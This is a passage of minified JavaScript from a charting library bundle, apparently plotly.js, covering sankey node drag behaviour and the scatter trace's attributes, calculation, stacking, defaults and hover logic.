j=o.behavior.drag().origin(function(K){return{x:K.node.x0+K.visibleWidth/2,y:K.node.y0+K.visibleHeight/2}}).on("dragstart",function(K){if(K.arrangement!=="fixed"&&(f.ensureSingle(ie._fullLayout._infolayer,"g","dragcover",function(re){ie._fullLayout._dragCover=re}),f.raiseToTop(this),K.interactionState.dragInProgress=K.node,ne(K.node),K.interactionState.hovered&&(Q.nodeEvents.unhover.apply(0,K.interactionState.hovered),K.interactionState.hovered=!1),K.arrangement==="snap")){var oe=K.traceId+"|"+K.key;K.forceLayouts[oe]?K.forceLayouts[oe].alpha(1):z(V,oe,K),N(V,Y,K,oe,ie)}}).on("drag",function(K){if(K.arrangement!=="fixed"){var oe=o.event.x,re=o.event.y;K.arrangement==="snap"?(K.node.x0=oe-K.visibleWidth/2,K.node.x1=oe+K.visibleWidth/2,K.node.y0=re-K.visibleHeight/2,K.node.y1=re+K.visibleHeight/2):(K.arrangement==="freeform"&&(K.node.x0=oe-K.visibleWidth/2,K.node.x1=oe+K.visibleWidth/2),re=Math.max(0,Math.min(K.size-K.visibleHeight/2,re)),K.node.y0=re-K.visibleHeight/2,K.node.y1=re+K.visibleHeight/2),ne(K.node),K.arrangement!=="snap"&&(K.sankey.update(K.graph),I(V.filter(fe(K)),Y))}}).on("dragend",function(K){if(K.arrangement!=="fixed"){K.interactionState.dragInProgress=!1;for(var oe=0;oe<K.node.childrenNodes.length;oe++)K.node.childrenNodes[oe].x=K.node.x,K.node.childrenNodes[oe].y=K.node.y;K.arrangement!=="snap"&&J(K,ie)}});V.on(".drag",null).call(j)}function z(V,Y,Q,ie){X(Q.graph.nodes);var j=Q.graph.nodes.filter(function(K){return K.originalX===Q.node.originalX}).filter(function(K){return!K.partOfGroup});Q.forceLayouts[Y]=M.forceSimulation(j).alphaDecay(0).force("collide",M.forceCollide().radius(function(K){return K.dy/2+Q.nodePad/2}).strength(1).iterations(d.forceIterations)).force("constrain",G(V,Y,j,Q)).stop()}function N(V,Y,Q,ie,j){window.requestAnimationFrame(function K(){var oe;for(oe=0;oe<d.forceTicksPerFrame;oe++)Q.forceLayouts[ie].tick();var re=Q.graph.nodes;if(W(re),Q.sankey.update(Q.graph),I(V.filter(fe(Q)),Y),Q.forceLayouts[ie].alpha()>0)window.requestAnimationFrame(K);else{var le=Q.node.originalX;Q.node.x0=le-Q.visibleWidth/2,Q.node.x1=le+Q.visibleWidth/2,J(Q,j)}})}function G(V,Y,Q,ie){return function(){for(var K=0,oe=0;oe<Q.length;oe++){var re=Q[oe];re===ie.interactionState.dragInProgress?(re.x=re.lastDraggedX,re.y=re.lastDraggedY):(re.vx=(re.originalX-re.x)/d.forceTicksPerFrame,re.y=Math.min(ie.size-re.dy/2,Math.max(re.dy/2,re.y))),K=Math.max(K,Math.abs(re.vx),Math.abs(re.vy))}!ie.interactionState.dragInProgress&&K<.1&&ie.forceLayouts[Y].alpha()>0&&ie.forceLayouts[Y].alpha(0)}}function J(V,Y){for(var Q=[],ie=[],j=0;j<V.graph.nodes.length;j++){var K=(V.graph.nodes[j].x0+V.graph.nodes[j].x1)/2,oe=(V.graph.nodes[j].y0+V.graph.nodes[j].y1)/2;Q.push(K/V.figure.width),ie.push(oe/V.figure.height)}h.call("_guiRestyle",Y,{"node.x":[Q],"node.y":[ie]},V.trace.index).then(function(){Y._fullLayout._dragCover&&Y._fullLayout._dragCover.remove()})}function q(V){var Y=[],Q;for(Q=0;Q<V.length;Q++)V[Q].originalX=(V[Q].x0+V[Q].x1)/2,V[Q].originalY=(V[Q].y0+V[Q].y1)/2,Y.indexOf(V[Q].originalX)===-1&&Y.push(V[Q].originalX);for(Y.sort(function(ie,j){return ie-j}),Q=0;Q<V.length;Q++)V[Q].originalLayerIndex=Y.indexOf(V[Q].originalX),V[Q].originalLayer=V[Q].originalLayerIndex/(Y.length-1)}function ne(V){V.lastDraggedX=V.x0+V.dx/2,V.lastDraggedY=V.y0+V.dy/2}function fe(V){return function(Y){return Y.node.originalX===V.node.originalX}}function X(V){for(var Y=0;Y<V.length;Y++)V[Y].y=(V[Y].y0+V[Y].y1)/2,V[Y].x=(V[Y].x0+V[Y].x1)/2}function W(V){for(var Y=0;Y<V.length;Y++)V[Y].y0=V[Y].y-V[Y].dy/2,V[Y].y1=V[Y].y0+V[Y].dy,V[Y].x0=V[Y].x-V[Y].dx/2,V[Y].x1=V[Y].x0+V[Y].dx}te.exports=function(V,Y,Q,ie,j){var K=V._context.staticPlot,oe=!1;f.ensureSingle(V._fullLayout._infolayer,"g","first-render",function(){oe=!0});var re=V._fullLayout._dragCover,le=Q.filter(function(Te){return c(Te).trace.visible}).map(E.bind(null,ie)),pe=Y.selectAll("."+d.cn.sankey).data(le,s);pe.exit().remove(),pe.enter().append("g").classed(d.cn.sankey,!0).style("box-sizing","content-box").style("position","absolute").style("left",0).style("shape-rendering","geometricPrecision").style("pointer-events",K?"none":"auto").attr("transform",_),pe.each(function(Te,Fe){V._fullData[Fe]._sankey=Te;var Oe="bgsankey-"+Te.trace.uid+"-"+Fe;f.ensureSingle(V._fullLayout._draggers,"rect",Oe),V._fullData[Fe]._bgRect=o.select("."+Oe),V._fullData[Fe]._bgRect.style("pointer-events",K?"none":"all").attr("width",Te.width).attr("height",Te.height).attr("x",Te.translateX).attr("y",Te.translateY).classed("bgsankey",!0).style({fill:"transparent","stroke-width":0})}),pe.transition().ease(d.ease).duration(d.duration).attr("transform",_);var we=pe.selectAll("."+d.cn.sankeyLinks).data(y,s);we.enter().append("g").classed(d.cn.sankeyLinks,!0).style("fill","none");var xe=we.selectAll("."+d.cn.sankeyLink).data(function(Te){var Fe=Te.graph.links;return Fe.filter(function(Oe){return Oe.value}).map(p.bind(null,Te))},s);xe.enter().append("path").classed(d.cn.sankeyLink,!0).call(F,pe,j.linkEvents),xe.style("stroke",function(Te){return B(Te)?t.tinyRGB(g(Te.linkLineColor)):Te.tinyColorHue}).style("stroke-opacity",function(Te){return B(Te)?t.opacity(Te.linkLineColor):Te.tinyColorAlpha}).style("fill",function(Te){return Te.tinyColorHue}).style("fill-opacity",function(Te){return Te.tinyColorAlpha}).style("stroke-width",function(Te){return B(Te)?Te.linkLineWidth:1}).attr("d",m()),xe.style("opacity",function(){return V._context.staticPlot||oe||re?1:0}).transition().ease(d.ease).duration(d.duration).style("opacity",1),xe.exit().transition().ease(d.ease).duration(d.duration).style("opacity",0).remove();var ke=pe.selectAll("."+d.cn.sankeyNodeSet).data(y,s);ke.enter().append("g").classed(d.cn.sankeyNodeSet,!0),ke.style("cursor",function(Te){switch(Te.arrangement){case"fixed":return"default";case"perpendicular":return"ns-resize";default:return"move"}});var _e=ke.selectAll("."+d.cn.sankeyNode).data(function(Te){var Fe=Te.graph.nodes;return q(Fe),Fe.map(n.bind(null,Te))},s);_e.enter().append("g").classed(d.cn.sankeyNode,!0).call(C).style("opacity",function(Te){return(V._context.staticPlot||oe)&&!Te.partOfGroup?1:0}),_e.call(F,pe,j.nodeEvents).call(O,xe,j,V),_e.transition().ease(d.ease).duration(d.duration).call(C).style("opacity",function(Te){return Te.partOfGroup?0:1}),_e.exit().transition().ease(d.ease).duration(d.duration).style("opacity",0).remove();var be=_e.selectAll("."+d.cn.nodeRect).data(y);be.enter().append("rect").classed(d.cn.nodeRect,!0).call(k),be.style("stroke-width",function(Te){return Te.nodeLineWidth}).style("stroke",function(Te){return t.tinyRGB(g(Te.nodeLineColor))}).style("stroke-opacity",function(Te){return t.opacity(Te.nodeLineColor)}).style("fill",function(Te){return Te.tinyColorHue}).style("fill-opacity",function(Te){return Te.tinyColorAlpha}),be.transition().ease(d.ease).duration(d.duration).call(k);var ge=_e.selectAll("."+d.cn.nodeLabel).data(y);ge.enter().append("text").classed(d.cn.nodeLabel,!0).style("cursor","default"),ge.attr("data-notex",1).text(function(Te){return Te.node.label}).each(function(Te){var Fe=o.select(this);r.font(Fe,Te.textFont),b.convertToTspans(Fe,V)}).style("text-shadow",b.makeTextShadow(V._fullLayout.paper_bgcolor)).attr("text-anchor",function(Te){return Te.horizontal&&Te.left?"end":"start"}).attr("transform",function(Te){var Fe=o.select(this),Oe=b.lineCount(Fe),Ce=Te.textFont.size*((Oe-1)*T-v),Be=Te.nodeLineWidth/2+w,$e=((Te.horizontal?Te.visibleHeight:Te.visibleWidth)-Ce)/2;Te.horizontal&&(Te.left?Be=-Be:Be+=Te.visibleWidth);var Xe=Te.horizontal?"":"scale(-1,1)"+l(90);return a(Te.horizontal?Be:$e,Te.horizontal?$e:Be)+Xe}),ge.transition().ease(d.ease).duration(d.duration)}},84564:function(te){te.exports=function(e,M){for(var P=e.cd,o=[],L=P[0].trace,S=L._sankey.graph.nodes,d=0;d<S.length;d++){var g=S[d];if(!g.partOfGroup){var t=[(g.x0+g.x1)/2,(g.y0+g.y1)/2];L.orientation==="v"&&t.reverse(),M&&M.contains(t,!1,d,e)&&o.push({pointNumber:g.pointNumber})}}return o}},75225:function(te,Z,e){var M=e(71828);te.exports=function(o,L){for(var S=0;S<o.length;S++)o[S].i=S;M.mergeArray(L.text,o,"tx"),M.mergeArray(L.texttemplate,o,"txt"),M.mergeArray(L.hovertext,o,"htx"),M.mergeArray(L.customdata,o,"data"),M.mergeArray(L.textposition,o,"tp"),L.textfont&&(M.mergeArrayCastPositive(L.textfont.size,o,"ts"),M.mergeArray(L.textfont.color,o,"tc"),M.mergeArray(L.textfont.family,o,"tf"));var d=L.marker;if(d){M.mergeArrayCastPositive(d.size,o,"ms"),M.mergeArrayCastPositive(d.opacity,o,"mo"),M.mergeArray(d.symbol,o,"mx"),M.mergeArray(d.angle,o,"ma"),M.mergeArray(d.standoff,o,"mf"),M.mergeArray(d.color,o,"mc");var g=d.line;d.line&&(M.mergeArray(g.color,o,"mlc"),M.mergeArrayCastPositive(g.width,o,"mlw"));var t=d.gradient;t&&t.type!=="none"&&(M.mergeArray(t.type,o,"mgt"),M.mergeArray(t.color,o,"mgc"))}}},82196:function(te,Z,e){var M=e(12663).axisHoverFormat,P=e(5386).si,o=e(5386).fF,L=e(50693),S=e(41940),d=e(79952).P,g=e(79952).u,t=e(91424),r=e(47581),f=e(1426).extendFlat;function a(s){return{valType:"any",dflt:0,editType:"calc"}}function l(s){return{valType:"any",editType:"calc"}}function u(s){return{valType:"enumerated",values:["start","middle","end"],dflt:"middle",editType:"calc"}}te.exports={x:{valType:"data_array",editType:"calc+clearAxisTypes",anim:!0},x0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes",anim:!0},dx:{valType:"number",dflt:1,editType:"calc",anim:!0},y:{valType:"data_array",editType:"calc+clearAxisTypes",anim:!0},y0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes",anim:!0},dy:{valType:"number",dflt:1,editType:"calc",anim:!0},xperiod:a(),yperiod:a(),xperiod0:l(),yperiod0:l(),xperiodalignment:u(),yperiodalignment:u(),xhoverformat:M("x"),yhoverformat:M("y"),offsetgroup:{valType:"string",dflt:"",editType:"calc"},alignmentgroup:{valType:"string",dflt:"",editType:"calc"},stackgroup:{valType:"string",dflt:"",editType:"calc"},orientation:{valType:"enumerated",values:["v","h"],editType:"calc"},groupnorm:{valType:"enumerated",values:["","fraction","percent"],dflt:"",editType:"calc"},stackgaps:{valType:"enumerated",values:["infer zero","interpolate"],dflt:"infer zero",editType:"calc"},text:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},texttemplate:P({},{}),hovertext:{valType:"string",dflt:"",arrayOk:!0,editType:"style"},mode:{valType:"flaglist",flags:["lines","markers","text"],extras:["none"],editType:"calc"},hoveron:{valType:"flaglist",flags:["points","fills"],editType:"style"},hovertemplate:o({},{keys:r.eventDataKeys}),line:{color:{valType:"color",editType:"style",anim:!0},width:{valType:"number",min:0,dflt:2,editType:"style",anim:!0},shape:{valType:"enumerated",values:["linear","spline","hv","vh","hvh","vhv"],dflt:"linear",editType:"plot"},smoothing:{valType:"number",min:0,max:1.3,dflt:1,editType:"plot"},dash:f({},d,{editType:"style"}),backoff:{valType:"number",min:0,dflt:"auto",arrayOk:!0,editType:"plot"},simplify:{valType:"boolean",dflt:!0,editType:"plot"},editType:"plot"},connectgaps:{valType:"boolean",dflt:!1,editType:"calc"},cliponaxis:{valType:"boolean",dflt:!0,editType:"plot"},fill:{valType:"enumerated",values:["none","tozeroy","tozerox","tonexty","tonextx","toself","tonext"],editType:"calc"},fillcolor:{valType:"color",editType:"style",anim:!0},fillpattern:g,marker:f({symbol:{valType:"enumerated",values:t.symbolList,dflt:"circle",arrayOk:!0,editType:"style"},opacity:{valType:"number",min:0,max:1,arrayOk:!0,editType:"style",anim:!0},angle:{valType:"angle",dflt:0,arrayOk:!0,editType:"plot",anim:!1},angleref:{valType:"enumerated",values:["previous","up"],dflt:"up",editType:"plot",anim:!1},standoff:{valType:"number",min:0,dflt:0,arrayOk:!0,editType:"plot",anim:!0},size:{valType:"number",min:0,dflt:6,arrayOk:!0,editType:"calc",anim:!0},maxdisplayed:{valType:"number",min:0,dflt:0,editType:"plot"},sizeref:{valType:"number",dflt:1,editType:"calc"},sizemin:{valType:"number",min:0,dflt:0,editType:"calc"},sizemode:{valType:"enumerated",values:["diameter","area"],dflt:"diameter",editType:"calc"},line:f({width:{valType:"number",min:0,arrayOk:!0,editType:"style",anim:!0},editType:"calc"},L("marker.line",{anim:!0})),gradient:{type:{valType:"enumerated",values:["radial","horizontal","vertical","none"],arrayOk:!0,dflt:"none",editType:"calc"},color:{valType:"color",arrayOk:!0,editType:"calc"},editType:"calc"},editType:"calc"},L("marker",{anim:!0})),selected:{marker:{opacity:{valType:"number",min:0,max:1,editType:"style"},color:{valType:"color",editType:"style"},size:{valType:"number",min:0,editType:"style"},editType:"style"},textfont:{color:{valType:"color",editType:"style"},editType:"style"},editType:"style"},unselected:{marker:{opacity:{valType:"number",min:0,max:1,editType:"style"},color:{valType:"color",editType:"style"},size:{valType:"number",min:0,editType:"style"},editType:"style"},textfont:{color:{valType:"color",editType:"style"},editType:"style"},editType:"style"},textposition:{valType:"enumerated",values:["top left","top center","top right","middle left","middle center","middle right","bottom left","bottom center","bottom right"],dflt:"middle center",arrayOk:!0,editType:"calc"},textfont:S({editType:"calc",colorEditType:"style",arrayOk:!0})}},47761:function(te,Z,e){var M=e(92770),P=e(71828),o=e(89298),L=e(42973),S=e(50606).BADNUM,d=e(34098),g=e(36922),t=e(75225),r=e(66279);function f(c,b){var h=c._fullLayout,i=b._xA=o.getFromId(c,b.xaxis||"x","x"),v=b._yA=o.getFromId(c,b.yaxis||"y","y"),T=i.makeCalcdata(b,"x"),w=v.makeCalcdata(b,"y"),E=L(b,i,"x",T),p=L(b,v,"y",w),A=E.vals,m=p.vals,n=b._length,C=new Array(n),x=b.ids,I=y(b,h,i,v),k=!1,B,_,F,O,z,N;u(h,b);var G="x",J="y",q;if(I)P.pushUnique(I.traceIndices,b._expandedIndex),B=I.orientation==="v",B?(J="s",q="x"):(G="s",q="y"),z=I.stackgaps==="interpolate";else{var ne=l(b,n);a(c,b,i,v,A,m,ne)}var fe=!!b.xperiodalignment,X=!!b.yperiodalignment;for(_=0;_<n;_++){var W=C[_]={},V=M(A[_]),Y=M(m[_]);V&&Y?(W[G]=A[_],W[J]=m[_],fe&&(W.orig_x=T[_],W.xEnd=E.ends[_],W.xStart=E.starts[_]),X&&(W.orig_y=w[_],W.yEnd=p.ends[_],W.yStart=p.starts[_])):I&&(B?V:Y)?(W[q]=B?A[_]:m[_],W.gap=!0,z?(W.s=S,k=!0):W.s=0):W[G]=W[J]=S,x&&(W.id=String(x[_]))}if(t(C,b),g(c,b),r(C,b),I){for(_=0;_<C.length;)C[_][q]===S?C.splice(_,1):_++;if(P.sort(C,function(K,oe){return K[q]-oe[q]||K.i-oe.i}),k){for(_=0;_<C.length-1&&C[_].gap;)_++;for(N=C[_].s,N||(N=C[_].s=0),F=0;F<_;F++)C[F].s=N;for(O=C.length-1;O>_&&C[O].gap;)O--;for(N=C[O].s,F=C.length-1;F>O;F--)C[F].s=N;for(;_<O;)if(_++,C[_].gap){for(F=_+1;C[F].gap;)F++;for(var Q=C[_-1][q],ie=C[_-1].s,j=(C[F].s-ie)/(C[F][q]-Q);_<F;)C[_].s=ie+(C[_][q]-Q)*j,_++}}}return C}function a(c,b,h,i,v,T,w){var E=b._length,p=c._fullLayout,A=h._id,m=i._id,n=p._firstScatter[s(b)]===b.uid,C=(y(b,p,h,i)||{}).orientation,x=b.fill;h._minDtick=0,i._minDtick=0;var I={padded:!0},k={padded:!0};w&&(I.ppad=k.ppad=w);var B=E<2||v[0]!==v[E-1]||T[0]!==T[E-1];B&&(x==="tozerox"||x==="tonextx"&&(n||C==="h"))?I.tozero=!0:!(b.error_y||{}).visible&&(x==="tonexty"||x==="tozeroy"||!d.hasMarkers(b)&&!d.hasText(b))&&(I.padded=!1,I.ppad=0),B&&(x==="tozeroy"||x==="tonexty"&&(n||C==="v"))?k.tozero=!0:(x==="tonextx"||x==="tozerox")&&(k.padded=!1),A&&(b._extremes[A]=o.findExtremes(h,v,I)),m&&(b._extremes[m]=o.findExtremes(i,T,k))}function l(c,b){if(d.hasMarkers(c)){var h=c.marker,i=1.6*(c.marker.sizeref||1),v;if(c.marker.sizemode==="area"?v=function(A){return Math.max(Math.sqrt((A||0)/i),3)}:v=function(A){return Math.max((A||0)/i,3)},P.isArrayOrTypedArray(h.size)){var T={type:"linear"};o.setConvert(T);for(var w=T.makeCalcdata(c.marker,"size"),E=new Array(b),p=0;p<b;p++)E[p]=v(w[p]);return E}else return v(h.size)}}function u(c,b){var h=s(b),i=c._firstScatter;i[h]||(i[h]=b.uid)}function s(c){var b=c.stackgroup;return c.xaxis+c.yaxis+c.type+(b?"-"+b:"")}function y(c,b,h,i){var v=c.stackgroup;if(v){var T=b._scatterStackOpts[h._id+i._id][v],w=T.orientation==="v"?i:h;if(w.type==="linear"||w.type==="log")return T}}te.exports={calc:f,calcMarkerSize:l,calcAxisExpansion:a,setFirstScatter:u,getStackOpts:y}},66279:function(te,Z,e){var M=e(71828);te.exports=function(o,L){M.isArrayOrTypedArray(L.selectedpoints)&&M.tagSelected(o,L)}},36922:function(te,Z,e){var M=e(52075).hasColorscale,P=e(78803),o=e(34098);te.exports=function(S,d){o.hasLines(d)&&M(d,"line")&&P(S,d,{vals:d.line.color,containerStr:"line",cLetter:"c"}),o.hasMarkers(d)&&(M(d,"marker")&&P(S,d,{vals:d.marker.color,containerStr:"marker",cLetter:"c"}),M(d,"marker.line")&&P(S,d,{vals:d.marker.line.color,containerStr:"marker.line",cLetter:"c"}))}},47581:function(te){te.exports={PTS_LINESONLY:20,minTolerance:.2,toleranceGrowth:10,maxScreensAway:20,eventDataKeys:[]}},72626:function(te,Z,e){var M=e(47761),P=e(11661).setGroupPositions;function o(d,g){for(var t=g.xaxis,r=g.yaxis,f=d._fullLayout,a=d._fullData,l=d.calcdata,u=[],s=[],y=0;y<a.length;y++){var c=a[y];c.visible===!0&&c.type==="scatter"&&c.xaxis===t._id&&c.yaxis===r._id&&(c.orientation==="h"?u.push(l[y]):c.orientation==="v"&&s.push(l[y]))}var b={mode:f.scattermode,gap:f.scattergap};P(d,t,r,s,b),P(d,r,t,u,b)}te.exports=function(g,t){g._fullLayout.scattermode==="group"&&o(g,t);var r=t.xaxis,f=t.yaxis,a=r._id+f._id,l=g._fullLayout._scatterStackOpts[a];if(l){var u=g.calcdata,s,y,c,b,h,i,v,T,w,E,p,A,m,n,C;for(var x in l){E=l[x];var I=E.traceIndices;if(I.length){for(p=E.stackgaps==="interpolate",A=E.groupnorm,E.orientation==="v"?(m="x",n="y"):(m="y",n="x"),C=new Array(I.length),s=0;s<C.length;s++)C[s]=!1;i=u[I[0]];var k=new Array(i.length);for(s=0;s<i.length;s++)k[s]=i[s][m];for(s=1;s<I.length;s++){for(h=u[I[s]],y=c=0;y<h.length;y++){for(v=h[y][m];v>k[c]&&c<k.length;c++)L(h,y,k[c],s,C,p,m),y++;if(v!==k[c]){for(b=0;b<s;b++)L(u[I[b]],c,v,b,C,p,m);k.splice(c,0,v)}c++}for(;c<k.length;c++)L(h,y,k[c],s,C,p,m),y++}var B=k.length;for(y=0;y<i.length;y++){for(T=i[y][n]=i[y].s,s=1;s<I.length;s++)h=u[I[s]],h[0].trace._rawLength=h[0].trace._length,h[0].trace._length=B,T+=h[y].s,h[y][n]=T;if(A)for(w=(A==="fraction"?T:T/100)||1,s=0;s<I.length;s++){var _=u[I[s]][y];_[n]/=w,_.sNorm=_.s/w}}for(s=0;s<I.length;s++){h=u[I[s]];var F=h[0].trace,O=M.calcMarkerSize(F,F._rawLength),z=Array.isArray(O);if(O&&C[s]||z){var N=O;for(O=new Array(B),y=0;y<B;y++)O[y]=h[y].gap?0:z?N[h[y].i]:N}var G=new Array(B),J=new Array(B);for(y=0;y<B;y++)G[y]=h[y].x,J[y]=h[y].y;M.calcAxisExpansion(g,F,r,f,G,J,O),h[0].t.orientation=E.orientation}}}}};function L(d,g,t,r,f,a,l){f[r]=!0;var u={i:null,gap:!0,s:0};if(u[l]=t,d.splice(g,0,u),g&&t===d[g-1][l]){var s=d[g-1];u.s=s.s,u.i=s.i,u.gap=s.gap}else a&&(u.s=S(d,g,t,l));g||(d[0].t=d[1].t,d[0].trace=d[1].trace,delete d[1].t,delete d[1].trace)}function S(d,g,t,r){var f=d[g-1],a=d[g+1];return a?f?f.s+(a.s-f.s)*(t-f[r])/(a[r]-f[r]):a.s:f.s}},34936:function(te,Z,e){var M=e(71828),P=e(26125),o=e(82196);te.exports=function(S,d){var g,t,r;function f(y){return M.coerce(t._input,t,o,y)}if(d.scattermode==="group")for(r=0;r<S.length;r++)t=S[r],t.type==="scatter"&&(g=t._input,P(g,t,d,f));for(r=0;r<S.length;r++){var a=S[r];if(a.type==="scatter"){var l=a.fill;if(!(l==="none"||l==="toself")&&(a.opacity=void 0,l==="tonexty"||l==="tonextx"))for(var u=r-1;u>=0;u--){var s=S[u];if(s.type==="scatter"&&s.xaxis===a.xaxis&&s.yaxis===a.yaxis){s.opacity=void 0;break}}}}}},17438:function(te,Z,e){var M=e(71828),P=e(73972),o=e(82196),L=e(47581),S=e(34098),d=e(67513),g=e(73927),t=e(565),r=e(49508),f=e(11058),a=e(94039),l=e(82410),u=e(28908),s=e(71828).coercePattern;te.exports=function(c,b,h,i){function v(C,x){return M.coerce(c,b,o,C,x)}var T=d(c,b,i,v);if(T||(b.visible=!1),!!b.visible){g(c,b,i,v),v("xhoverformat"),v("yhoverformat");var w=t(c,b,i,v);i.scattermode==="group"&&b.orientation===void 0&&v("orientation","v");var E=!w&&T<L.PTS_LINESONLY?"lines+markers":"lines";v("text"),v("hovertext"),v("mode",E),S.hasLines(b)&&(f(c,b,h,i,v,{backoff:!0}),a(c,b,v),v("connectgaps"),v("line.simplify")),S.hasMarkers(b)&&r(c,b,h,i,v,{gradient:!0}),S.hasText(b)&&(v("texttemplate"),l(c,b,i,v));var p=[];(S.hasMarkers(b)||S.hasText(b))&&(v("cliponaxis"),v("marker.maxdisplayed"),p.push("points")),v("fill",w?w.fillDflt:"none"),b.fill!=="none"&&(u(c,b,h,v),S.hasLines(b)||a(c,b,v),s(v,"fillpattern",b.fillcolor,!1));var A=(b.line||{}).color,m=(b.marker||{}).color;(b.fill==="tonext"||b.fill==="toself")&&p.push("fills"),v("hoveron",p.join("+")||"points"),b.hoveron!=="fills"&&v("hovertemplate");var n=P.getComponentMethod("errorbars","supplyDefaults");n(c,b,A||m||h,{axis:"y"}),n(c,b,A||m||h,{axis:"x",inherit:"y"}),M.coerceSelectionMarkerOpacity(b,v)}}},28908:function(te,Z,e){var M=e(7901),P=e(71828).isArrayOrTypedArray;te.exports=function(L,S,d,g){var t=!1;if(S.marker){var r=S.marker.color,f=(S.marker.line||{}).color;r&&!P(r)?t=r:f&&!P(f)&&(t=f)}g("fillcolor",M.addOpacity((S.line||{}).color||t||d,.5))}},8225:function(te,Z,e){var M=e(89298);te.exports=function(o,L,S){var d={},g={_fullLayout:S},t=M.getFromTrace(g,L,"x"),r=M.getFromTrace(g,L,"y"),f=o.orig_x;f===void 0&&(f=o.x);var a=o.orig_y;return a===void 0&&(a=o.y),d.xLabel=M.tickText(t,t.c2l(f),!0).text,d.yLabel=M.tickText(r,r.c2l(a),!0).text,d}},34603:function(te,Z,e){var M=e(7901),P=e(34098);te.exports=function(L,S){var d,g;if(L.mode==="lines")return d=L.line.color,d&&M.opacity(d)?d:L.fillcolor;if(L.mode==="none")return L.fill?L.fillcolor:"";var t=S.mcc||(L.marker||{}).color,r=S.mlcc||((L.marker||{}).line||{}).color;return g=t&&M.opacity(t)?t:r&&M.opacity(r)&&(S.mlw||((L.marker||{}).line||{}).width)?r:"",g?M.opacity(g)<.3?M.addOpacity(g,.3):g:(d=(L.line||{}).color,d&&M.opacity(d)&&P.hasLines(L)&&L.line.width?d:L.fillcolor)}},26125:function(te,Z,e){var M=e(99082).getAxisGroup;te.exports=function(o,L,S,d){var g=L.orientation,t=L[{v:"x",h:"y"}[g]+"axis"],r=M(S,t)+g,f=S._alignmentOpts||{},a=d("alignmentgroup"),l=f[r];l||(l=f[r]={});var u=l[a];u?u.traces.push(L):u=l[a]={traces:[L],alignmentIndex:Object.keys(l).length,offsetGroups:{}};var s=d("offsetgroup"),y=u.offsetGroups,c=y[s];s&&(c||(c=y[s]={offsetIndex:Object.keys(y).length}),L._offsetIndex=c.offsetIndex)}},33720:function(te,Z,e){var M=e(71828),P=e(30211),o=e(73972),L=e(34603),S=e(7901),d=M.fillText;te.exports=function(t,r,f,a){var l=t.cd,u=l[0].trace,s=t.xa,y=t.ya,c=s.c2p(r),b=y.c2p(f),h=[c,b],i=u.hoveron||"",v=u.mode.indexOf("markers")!==-1?3:.5,T=!!u.xperiodalignment,w=!!u.yperiodalignment;if(i.indexOf("points")!==-1){var E=function(le){if(T){var pe=s.c2p(le.xStart),we=s.c2p(le.xEnd);return c>=Math.min(pe,we)&&c<=Math.max(pe,we)?0:1/0}var xe=Math.max(3,le.mrc||0),ke=1-1/xe,_e=Math.abs(s.c2p(le.x)-c);return _e<xe?ke*_e/xe:_e-xe+ke},p=function(le){if(w){var pe=y.c2p(le.yStart),we=y.c2p(le.yEnd);return b>=Math.min(pe,we)&&b<=Math.max(pe,we)?0:1/0}var xe=Math.max(3,le.mrc||0),ke=1-1/xe,_e=Math.abs(y.c2p(le.y)-b);return _e<xe?ke*_e/xe:_e-xe+ke},A=function(le){var pe=Math.max(v,le.mrc||0),we=s.c2p(le.x)-c,xe=y.c2p(le.y)-b;return Math.max(Math.sqrt(we*we+xe*xe)-pe,1-v/pe)},m=P.getDistanceFunction(a,E,p,A);if(P.getClosest(l,m,t),t.index!==!1){var n=l[t.index],C=s.c2p(n.x,!0),x=y.c2p(n.y,!0),I=n.mrc||1;t.index=n.i;var k=l[0].t.orientation,B=k&&(n.sNorm||n.s),_=k==="h"?B:n.orig_x!==void 0?n.orig_x:n.x,F=k==="v"?B:n.orig_y!==void 0?n.orig_y:n.y;return M.extendFlat(t,{color:L(u,n),x0:C-I,x1:C+I,xLabelVal:_,y0:x-I,y1:x+I,yLabelVal:F,spikeDistance:A(n),hovertemplate:u.hovertemplate}),d(n,u,t),o.getComponentMethod("errorbars","hoverInfo")(n,u,t),[t]}}if(i.indexOf("fills")!==-1&&u._polygons){var O=u._polygons,z=[],N=!1,G=1/0,J=-1/0,q=1/0,ne=-1/0,fe,X,W,V,Y,Q,ie,j,K;for(fe=0;fe<O.length;fe++)W=O[fe],W.contains(h)&&(N=!N,z.push(W),q=Math.min(q,W.ymin),ne=Math.max(ne,W.ymax));if(N){q=Math.max(q,0),ne=Math.min(ne,y._length);var oe=(q+ne)/2;for(fe=0;fe<z.length;fe++)for(V=z[fe].pts,X=1;X<V.length;X++)j=V[X-1][1],K=V[X][1],j>oe!=K>=oe&&(Q=V[X-1][0],ie=V[X][0],K-j&&(Y=Q+(ie-Q)*(oe-j)/(K-j),G=Math.min(G,Y),J=Math.max(J,Y)));G=Math.max(G,0),J=Math.min(J,s._length);var re=S.defaultLine;return S.opacity(u.fillcolor)?re=u.fillcolor:S.opacity((u.line||{}).color)&&(re=u.line.color),M.extendFlat(t,{distance:t.maxHoverDistance,x0:G,x1:J,y0:oe,y1:oe,color:re,hovertemplate:!1}),delete t.index,u.text&&!Array.isArray(u.text)?t.text=String(u.text):t.text=u.name,[t]}}}},67368:function(te,Z,e){var M=e(34098);te.exports={hasLines:M.hasLines,hasMarkers:M.hasMarkers,hasText:M.hasText,isBubble:M.isBubble,attributes:e(82196),layoutAttributes:e(21479),supplyDefaults:e(17438),crossTraceDefaults:e(34936),supplyLayoutDefaults:e(79334),calc:e(47761).calc,crossTraceCalc:e(72626),arraysToCalcdata:e(75225),plot:e(32663),colorbar:e(4898),formatLabels:e(8225),style:e(16296).style,styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(33720),selectPoints:e(98002),animatable:!0,moduleType:"trace",name:"scatter",basePlotModule:e(93612),categories:["cartesian","svg","symbols","errorBarsOK","showLegend","scatter-like","zoomScale"],meta:{}}},21479:function(te){te.exports={scattermode:{valType:"enumerated",values:["group","overlay"],dflt:"overlay",editType:"calc"},scattergap:{valType:"number",min:0,max:1,editType:"calc"}}},79334:function(te,Z,e){var M=e(71828),P=e(21479);te.exports=function(o,L){function S(g,t){return M.coerce(o,L,P,g,t)}var d=L.barmode==="group";L.scattermode==="group"&&S("scattergap",d?L.bargap:.2)}},11058:function(te,Z,e){var M=e(71828).isArrayOrTypedArray,P=e(52075).hasColorscale,o=e(1586);te.exports=function(S,d,g,t,r,f){f||(f={});var 